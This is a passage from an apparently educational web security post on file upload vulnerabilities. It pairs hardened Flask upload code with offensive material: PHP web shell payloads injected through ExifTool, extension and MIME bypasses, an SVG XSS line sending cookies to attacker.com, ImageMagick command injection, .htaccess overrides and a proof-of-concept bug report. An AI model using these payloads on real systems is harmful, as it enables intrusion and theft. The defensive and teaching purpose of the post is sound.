    return jsonify({"message": "OK"}), 200

@app.errorhandler(413)
def request_entity_too_large(e):
    return jsonify({"error": "File exceeds maximum allowed size of 5MB"}), 413

@app.errorhandler(429)
def rate_limit_exceeded(e):
    return jsonify({"error": "Too many upload requests. Please slow down."}), 429

5. Antivirus Scanning with ClamAV

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import pyclamd
from flask import Flask, request, jsonify

app = Flask(__name__)

def scan_file_with_clamav(file_data):
    """
    Scan file content for malware using ClamAV.
    Returns (is_clean, threat_name)
    """
    try:
        cd = pyclamd.ClamdNetworkSocket(host='127.0.0.1', port=3310)
        if not cd.ping():
            # ClamAV unavailable — fail open or closed based on policy
            return False, "ClamAV unavailable"

        result = cd.scan_stream(file_data)
        if result is None:
            return True, None  # Clean
        else:
            threat = list(result.values())[0][1]
            return False, threat

    except Exception as e:
        return False, str(e)

@app.route('/api/upload', methods=['POST'])
def secure_upload():
    file = request.files.get('file')
    if not file:
        return jsonify({"error": "No file"}), 400

    file_data = file.read()

    # Scan for malware
    is_clean, threat = scan_file_with_clamav(file_data)
    if not is_clean:
        app.logger.warning(f"Malware detected in upload: {threat}")
        return jsonify({"error": "Malware detected in file", "threat": threat}), 403

    # Proceed with validated upload
    return jsonify({"message": "File is clean and uploaded"}), 200

6. Strip EXIF Metadata Before Saving

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from PIL import Image
import io
import os

def strip_exif_and_save(file_data, save_path, image_format):
    """
    Re-encode image to strip all metadata (EXIF, XMP, IPTC).
    Also validates that the file is a real image.
    """
    try:
        # Open image — raises exception if not a valid image
        img = Image.open(io.BytesIO(file_data))

        # Convert to RGB if needed (removes alpha channel issues)
        if img.mode in ('RGBA', 'P'):
            img = img.convert('RGB')

        # Save without metadata
        output = io.BytesIO()
        img.save(output, format=image_format, optimize=True)
        output.seek(0)

        # Write clean image to disk
        with open(save_path, 'wb') as f:
            f.write(output.read())

        return True

    except Exception as e:
        return False

# Usage in upload route
# strip_exif_and_save(file_data, '/secure/uploads/abc123.jpg', 'JPEG')

7. Enforce IMDSv2 & Cloud Storage Best Practices (AWS S3)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import boto3
import uuid
from botocore.exceptions import ClientError

s3 = boto3.client('s3')
BUCKET_NAME = 'my-secure-uploads'

def upload_to_s3_securely(file_data, original_extension, user_id):
    """
    Upload file to S3 with:
    - Random key name
    - Server-side encryption
    - ACL: private (no public access)
    - Content-Type locked
    """
    safe_key = f"uploads/{user_id}/{uuid.uuid4().hex}.{original_extension}"

    MIME_MAP = {
        'jpg': 'image/jpeg', 'jpeg': 'image/jpeg',
        'png': 'image/png',  'gif': 'image/gif',
        'pdf': 'application/pdf'
    }
    content_type = MIME_MAP.get(original_extension, 'application/octet-stream')

    try:
        s3.put_object(
            Bucket=BUCKET_NAME,
            Key=safe_key,
            Body=file_data,
            ContentType=content_type,
            ServerSideEncryption='AES256',  # Encrypt at rest
            # ACL='private' is now default with S3 Block Public Access
            Metadata={'uploaded_by': str(user_id)}
        )
        return safe_key

    except ClientError as e:
        raise Exception(f"S3 upload failed: {e}")

def generate_presigned_url(s3_key, expiry_seconds=300):
    """Generate a temporary, signed download URL instead of public access."""
    url = s3.generate_presigned_url(
        'get_object',
        Params={
            'Bucket': BUCKET_NAME,
            'Key': s3_key,
            'ResponseContentDisposition': 'attachment'  # Force download
        },
        ExpiresIn=expiry_seconds
    )
    return url

8. Complete Secure Implementation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
#!/usr/bin/env python3
"""
Secure File Upload — Complete Defense-in-Depth Implementation
Combines: extension allowlist, magic bytes, MIME, size limit,
          AV scan, metadata strip, random filename, secure storage.
"""

import os
import uuid
import hashlib
import magic
import logging
from flask import Flask, request, jsonify, abort, send_file
from PIL import Image
import io
import re

# ============================================================
# Configuration
# ============================================================
app = Flask(__name__)
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

UPLOAD_DIR         = '/var/app/uploads/secure/'
MAX_FILE_SIZE      = 5 * 1024 * 1024   # 5 MB
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif', 'pdf'}
ALLOWED_MIME_TYPES = {
    'image/png':       b'\x89PNG\r\n\x1a\n',
    'image/jpeg':      b'\xff\xd8\xff',
    'image/gif':       b'GIF89a',
    'application/pdf': b'%PDF-',
}
IMAGE_FORMATS = {
    'image/png':  'PNG',
    'image/jpeg': 'JPEG',
    'image/gif':  'GIF',
}

os.makedirs(UPLOAD_DIR, exist_ok=True)

# ============================================================
# Validation Helpers
# ============================================================

def get_extension(filename):
    if '.' not in filename:
        return None
    return filename.rsplit('.', 1)[1].lower()

def validate_extension(filename):
    ext = get_extension(filename)
    return ext in ALLOWED_EXTENSIONS if ext else False

def validate_magic_bytes(file_data, mime_type):
    expected = ALLOWED_MIME_TYPES.get(mime_type)
    if not expected:
        return False
    return file_data[:len(expected)] == expected

def validate_real_mime(file_data, claimed_mime):
    detected = magic.from_buffer(file_data[:2048], mime=True)
    return detected == claimed_mime

def sanitize_image(file_data, mime_type):
    """Re-encode image to strip metadata and validate content."""
    fmt = IMAGE_FORMATS.get(mime_type)
    if not fmt:
        return file_data  # Non-image (e.g., PDF) — skip re-encode
    img = Image.open(io.BytesIO(file_data))
    if img.mode in ('RGBA', 'P'):
        img = img.convert('RGB')
    out = io.BytesIO()
    img.save(out, format=fmt, optimize=True)
    out.seek(0)
    return out.read()

def generate_filename(ext):
    return f"{uuid.uuid4().hex}.{ext}"

# ============================================================
# Upload Route
# ============================================================

@app.route('/api/upload', methods=['POST'])
def secure_upload():
    if 'file' not in request.files:
        return jsonify({"error": "No file provided"}), 400

    file = request.files['file']

    if not file.filename or file.filename.strip() == '':
        return jsonify({"error": "No filename"}), 400

    # 1. Extension allowlist
    if not validate_extension(file.filename):
        logger.warning(f"Blocked extension: {file.filename} from {request.remote_addr}")
        return jsonify({"error": "File extension not allowed"}), 403

    # 2. Read data
    file_data = file.read(MAX_FILE_SIZE + 1)
    if len(file_data) > MAX_FILE_SIZE:
        return jsonify({"error": "File too large (max 5MB)"}), 413
    if len(file_data) == 0:
        return jsonify({"error": "Empty file"}), 400

    # 3. MIME type from header
    claimed_mime = file.content_type
    if not claimed_mime or claimed_mime not in ALLOWED_MIME_TYPES:
        return jsonify({"error": "MIME type not allowed"}), 403

    # 4. Magic bytes check
    if not validate_magic_bytes(file_data, claimed_mime):
        logger.warning(f"Magic bytes mismatch from {request.remote_addr}")
        return jsonify({"error": "File signature does not match declared type"}), 403

    # 5. Deep MIME detection with libmagic
    if not validate_real_mime(file_data, claimed_mime):
        logger.warning(f"Real MIME mismatch from {request.remote_addr}")
        return jsonify({"error": "File content validation failed"}), 403

    # 6. Strip metadata (images only)
    try:
        clean_data = sanitize_image(file_data, claimed_mime)
    except Exception as e:
        logger.error(f"Image sanitization failed: {e}")
        return jsonify({"error": "File processing failed"}), 400

    # 7. Compute hash for deduplication / integrity
    file_hash = hashlib.sha256(clean_data).hexdigest()

    # 8. Generate safe random filename
    ext = get_extension(file.filename)
    safe_name = generate_filename(ext)
    save_path = os.path.join(UPLOAD_DIR, safe_name)

    # 9. Save file
    with open(save_path, 'wb') as f:
        f.write(clean_data)
    os.chmod(save_path, 0o644)

    logger.info(f"Upload OK: {safe_name} | SHA256: {file_hash} | IP: {request.remote_addr}")

    return jsonify({
        "message": "Upload successful",
        "file_id": safe_name,
        "sha256": file_hash,
        "size": len(clean_data)
    }), 200

# ============================================================
# Secure File Serving Route
# ============================================================

@app.route('/api/files/<file_id>', methods=['GET'])
def serve_file(file_id):
    # Strict validation of file_id format
    if not re.match(r'^[a-f0-9]{32}\.[a-z]{2,4}$', file_id):
        abort(400)

    file_path = os.path.join(UPLOAD_DIR, file_id)

    if not os.path.isfile(file_path):
        abort(404)

    ext = file_id.rsplit('.', 1)[1].lower()
    if ext not in ALLOWED_EXTENSIONS:
        abort(403)

    return send_file(file_path, as_attachment=True, download_name=file_id)

# ============================================================
# Error Handlers
# ============================================================

@app.errorhandler(413)
def too_large(e):
    return jsonify({"error": "File too large"}), 413

@app.errorhandler(403)
def forbidden(e):
    return jsonify({"error": "Forbidden"}), 403

@app.errorhandler(404)
def not_found(e):
    return jsonify({"error": "Not found"}), 404

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000, debug=False)

Defense-in-Depth Checklist

  • Implement strict extension allowlist (never use blocklists alone)
  • Validate MIME types AND magic bytes / file signatures server-side
  • Generate random server-side filenames (never trust originalname)
  • Store uploads outside the webroot or disable execution in upload dirs
  • Enforce file size limits and rate limiting per user/IP
  • Scan uploads with antivirus/malware detection (ClamAV, YARA)
  • Strip metadata (EXIF, XMP, IPTC) via image re-encoding
  • Use Content-Disposition: attachment when serving user files
  • Apply least-privilege permissions (644 for files, 755 for dirs)
  • Log all upload attempts including IP, filename, MIME, and hash
  • Use cloud storage (S3, GCS) with Block Public Access and IAM policies
  • Disable dangerous server modules in upload dirs (php_flag engine off)
  • Implement CSP headers to mitigate XSS from uploaded SVG/HTML
  • Block .htaccess and .user.ini uploads explicitly
  • Validate archives (zip, tar) for path traversal before extraction

File Upload Testing Tools

ToolDescriptionLink
Burp SuiteIntercept and modify Content-Type, filename, and test bypassesportswigger.net
ffufFuzz upload endpoints, extensions, and parametersGitHub
ExifToolRead/write metadata, inject payloads into image EXIF headersexiftool.org
file (Linux)Verify actual magic bytes and file type on diskBuilt-in
UploadScannerBurp extension for automated file upload security testingGitHub
NiktoScan for insecure upload directories and server misconfigurationsGitHub
YARAWrite custom rules to detect malicious patterns in uploaded filesGitHub
ClamAVOpen-source antivirus engine for real-time upload scanningclamav.net

Tool Usage Examples

ffuf — Extension Fuzzing:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# Create extensions wordlist
cat > extensions.txt << 'EOF'
php
php5
php4
php3
phtml
phar
asp
aspx
jsp
shtml
cgi
EOF

# Fuzz file extensions
ffuf -u https://app.com/upload \
  -X POST \
  -H "Cookie: session=abc123" \
  -F "file=@shell.FUZZ;type=image/jpeg" \
  -w extensions.txt \
  -mc 200,302 \
  -v

ExifTool — Payload Injection into Image Metadata:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Inject PHP payload into JPEG EXIF comment field
exiftool -Comment='<?php system($_GET["c"]); ?>' image.jpg

# Inject into multiple fields
exiftool \
  -Author='<?php phpinfo(); ?>' \
  -Comment='<?php system($_GET["c"]); ?>' \
  -ImageDescription='<?php echo file_get_contents("/etc/passwd"); ?>' \
  image.jpg

# Rename to PHP extension and upload
cp image.jpg shell.php

# Verify injection
exiftool shell.php | grep -E "Comment|Author|Description"

Burp Suite — Manual Bypass Steps:

1
2
3
4
5
6
7
8
9
10
11
12
13
1. Intercept the upload request in Burp Proxy
2. Send to Repeater (Ctrl+R)
3. Modify the filename:
   Before: filename="image.jpg"
   After:  filename="shell.php"
4. Modify Content-Type:
   Before: Content-Type: application/x-php
   After:  Content-Type: image/jpeg
5. Add magic bytes at start of body:
   Before: <?php system($_GET['c']); ?>
   After:  GIF89a<?php system($_GET['c']); ?>
6. Send request and note the file path in the response
7. Access the uploaded file to confirm execution

ClamAV — Manual File Scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Install ClamAV
apt-get install clamav clamav-daemon

# Update virus definitions
freshclam

# Scan a single file
clamscan /path/to/uploaded/shell.php

# Scan entire upload directory
clamscan -r /var/app/uploads/

# Scan and move infected files
clamscan -r --move=/quarantine/ /var/app/uploads/

File Upload in Bug Bounty — Tips & Tricks

Where to Look

  1. Profile / Avatar Uploads — Often weakly validated, renders on other users pages
  2. Document / CSV Importers — May allow .html, .xml, or trigger parsers
  3. API /upload Endpoints — Check for missing authentication and validation
  4. Chat / File Sharing Features — May render HTML or SVG inline to other users
  5. Image Processing Pipelines — ImageMagick, Ghostscript, FFmpeg vulnerabilities
  6. Backup / Restore Features — Often accept .zip or .tar archives
  7. CMS Media Libraries — WordPress, Drupal, Joomla plugin upload misconfigurations
  8. Email Attachment Handlers — May parse malicious MIME or attachment structures
  9. Resume / Portfolio Upload — Accepts .docx, .pdf, .ppt
  10. Import from URL — Chain with SSRF to bypass file source restrictions

Recon Tips for File Upload Endpoints

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Find upload endpoints with ffuf
ffuf -u https://app.com/FUZZ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -mc 200,301,302 \
  -e .php,.aspx,.jsp

# Search JS files for upload endpoints
grep -r "upload\|multipart\|FormData" app.js bundle.js --include="*.js"

# Check network tab in DevTools for XHR upload calls
# Look for: Content-Type: multipart/form-data

# Search API documentation (Swagger/OpenAPI)
# Look for: "in": "formData", "type": "file"

Bug Bounty Payloads Cheat Sheet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# === Extension Bypasses ===
shell.php
shell.php5
shell.php4
shell.php3
shell.phtml
shell.phar
shell.PHP
shell.pHp
shell.php.jpg
shell.php;.jpg
shell.php%00.jpg
shell.php%2500.jpg

# === MIME Type Spoofing ===
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif
Content-Type: application/octet-stream

# === Magic Bytes (add before payload) ===
GIF89a               (GIF)
\xFF\xD8\xFF\xE0     (JPEG)
\x89PNG\r\n\x1a\n    (PNG)
%PDF-                (PDF)

# === Server Config Overrides ===
# .htaccess content:
AddType application/x-httpd-php .jpg

# .user.ini content:
auto_prepend_file = shell.jpg

# === SVG XSS Payloads ===
<svg onload="alert(document.domain)"/>
<svg><script>alert(1)</script></svg>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>document.location='https://attacker.com/?c='+document.cookie</script>
</svg>

# === Zip Slip Path ===
../../../var/www/html/shell.php
../../../etc/cron.d/revshell

# === ImageMagick / GraphicsMagick ===
push graphic-context
viewbox 0 0 640 480
fill 'url(https://x.x/x"|id > /tmp/pwned")'
pop graphic-context

Writing a Good File Upload Bug Bounty Report

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
## Title
Unrestricted File Upload in [Feature] at [Endpoint] leads to Remote Code Execution

## Summary
The file upload endpoint at `POST /api/upload` fails to validate file extensions,
MIME types, and file content. By uploading a PHP web shell disguised as a JPEG
image, an attacker can achieve Remote Code Execution on the underlying server.

## Severity
Critical — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.9)

## Steps to Reproduce

1. Log in to the application at https://app.com/login
2. Navigate to https://app.com/profile/settings
3. Click "Upload Profile Picture"
4. Intercept the upload request using Burp Suite
5. Set the filename to `shell.php` and Content-Type to `image/jpeg`
6. Set the body to: GIF89a<?php system($_GET['c']); ?>
7. Forward the request — server responds with:
   {"path": "/uploads/shell.php"}
8. Access: https://app.com/uploads/shell.php?c=id
9. Observe: uid=33(www-data) gid=33(www-data) groups=33(www-data)

## Proof of Concept

Request:
POST /api/upload HTTP/1.1
Host: app.com
Cookie: session=YOUR_SESSION
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

GIF89a<?php system($_GET['c']); ?>
------Boundary--

Response:
{"path": "/uploads/shell.php"}

Execution:
GET /uploads/shell.php?c=id HTTP/1.1
Host: app.com

uid=33(www-data) gid=33(www-data) groups=33(www-data)

## Impact

- Remote Code Execution as the web server user (www-data)
- Full filesystem read/write access
- Access to database credentials in config files
- Lateral movement to internal services
- Potential full server and infrastructure compromise

## Remediation

1. Implement strict extension allowlist (png, jpg, gif only)
2. Validate file content via magic bytes and libmagic
3. Rename all uploaded files to random UUIDs on the server
4. Store uploaded files outside the webroot directory
5. Disable PHP execution in the uploads directory via .htaccess / Nginx config
6. Implement Content-Security-Policy headers

A basic file upload bypass might rate as Medium (~$500), but successful RCE via web shell upload consistently rates as Critical with bounties ranging from $5,000 to $50,000+.


Notable File Upload CVEs

CVEApplicationImpactCVSS
CVE-2015-2348PHP move_uploaded_file()Null byte truncation bypass7.5
CVE-2019-11043PHP-FPM + NginxPath info misparse leading to RCE9.8
CVE-2021-41773Apache HTTP ServerPath traversal and code execution7.5
CVE-2016-3714ImageMagick (ImageTragick)Ghostscript RCE via crafted image9.8
CVE-2021-21315GitLabUnrestricted file upload in project import9.9
CVE-2020-11738WordPress Duplicator PluginArbitrary file write9.8
CVE-2023-28252WinRARACE archive extraction path traversal7.8
CVE-2021-3129Laravel IgnitionFile upload deserialization RCE9.8
CVE-2022-22965Spring Framework (Spring4Shell)Data binding bypass leading to RCE9.8
CVE-2023-24488Citrix ADC / GatewayXSS via file upload6.1

File Upload Attack Decision Tree

graph TD
    A[Found Upload Endpoint?] -->|Yes| B{Client-side validation only?}
    A -->|No| Z[Check hidden API endpoints & JS files]

    B -->|Yes| C[Bypass with curl or Burp — no JS]
    B -->|No| D{Server validates extension?}

    C --> E[Upload shell.php directly]
    D -->|No| F[Upload any file unrestricted]
    D -->|Yes| G{Blocklist or Allowlist?}

    G -->|Blocklist| H[Try phtml, php5, phar, PHP uppercase]
    G -->|Allowlist| I{Validates MIME type?}

    H --> J[Try shell.php.jpg or null byte]
    I -->|No| K[Spoof Content-Type: image/jpeg]
    I -->|Yes| L{Validates magic bytes?}

    L -->|No| M[Prepend GIF89a to PHP payload]
    L -->|Yes| N{Can upload .htaccess or .user.ini?}

    N -->|Yes| O[AddType application/x-httpd-php .jpg]
    N -->|No| P[Try Zip Slip or archive extraction]

    O --> Q[Upload shell.jpg — executes as PHP]
    P --> R[Extract shell to webroot path]
    K --> S[Access uploaded file URL]
    M --> S
    E --> S
    F --> S
    J --> S
    Q --> S
    R --> S

    S --> T{File executes?}
    T -->|Yes| U[RCE — Run reverse shell]
    T -->|No| V[Try LFI chain or different path]

    style A fill:#3498db,stroke:#2980b9,color:#fff
    style U fill:#c0392b,stroke:#962d22,color:#fff
    style O fill:#f39c12,stroke:#e67e22,color:#fff
    style G fill:#9b59b6,stroke:#8e44ad,color:#fff

Labs & Practice Resources

Free Labs

  1. PortSwigger Web Security Academy — File Upload Labs
    • Remote code execution via web shell upload
    • Web shell upload via Content-Type restriction bypass
    • Web shell upload via extension blacklist bypass
    • Web shell upload via obfuscated file extension
    • Web shell upload via path traversal
    • Remote code execution via polyglot web shell upload
    • Web shell upload via race condition
  2. TryHackMe — File Upload Vulnerabilities Room
    • Guided walkthrough with hands-on challenges
  3. OWASP WebGoat
    • Insecure file upload exercises in a safe local environment
  4. DVWA — Damn Vulnerable Web Application
    • File upload module with Low, Medium, and High security levels
  5. PentesterLab — File Upload Exercises
    • Real CVE-based upload exploitation challenges
  1. HackTheBox — Machines with upload misconfigurations (e.g., Bastard, Upload)
  2. BugBountyHunter.com — Realistic file upload lab scenarios
  3. Root-Me — File upload challenges in the web application category
  4. PentesterLab Pro — Advanced upload exploitation with code review

Conclusion

Insecure file upload remains one of the most direct and high-impact attack vectors in modern web security. A single misconfigured upload endpoint can bypass firewalls, WAFs, and authentication controls, handing an attacker immediate code execution rights on the server.

Key Takeaways

For DevelopersFor Pentesters
Always use allowlists for extensions and MIME typesTest every upload endpoint systematically
Validate magic bytes and content — never trust headersBypass client-side checks first with curl or Burp
Rename all files to random UUIDs on the serverTry double extensions, null bytes, and case tricks
Store uploads outside webroot or disable executionAlways try uploading .htaccess and .user.ini
Enforce size limits and rate limitingChain with LFI, SSRF, or image processing libraries
Never trust originalname or Content-Type headerTest race conditions for time-of-check flaws
Strip EXIF metadata by re-encoding imagesEscalate to reverse shell if RCE is confirmed
Apply restrictive file permissions (644 / 755)Document every bypass step clearly in your report

References


````

This post is licensed under CC BY 4.0 by the author.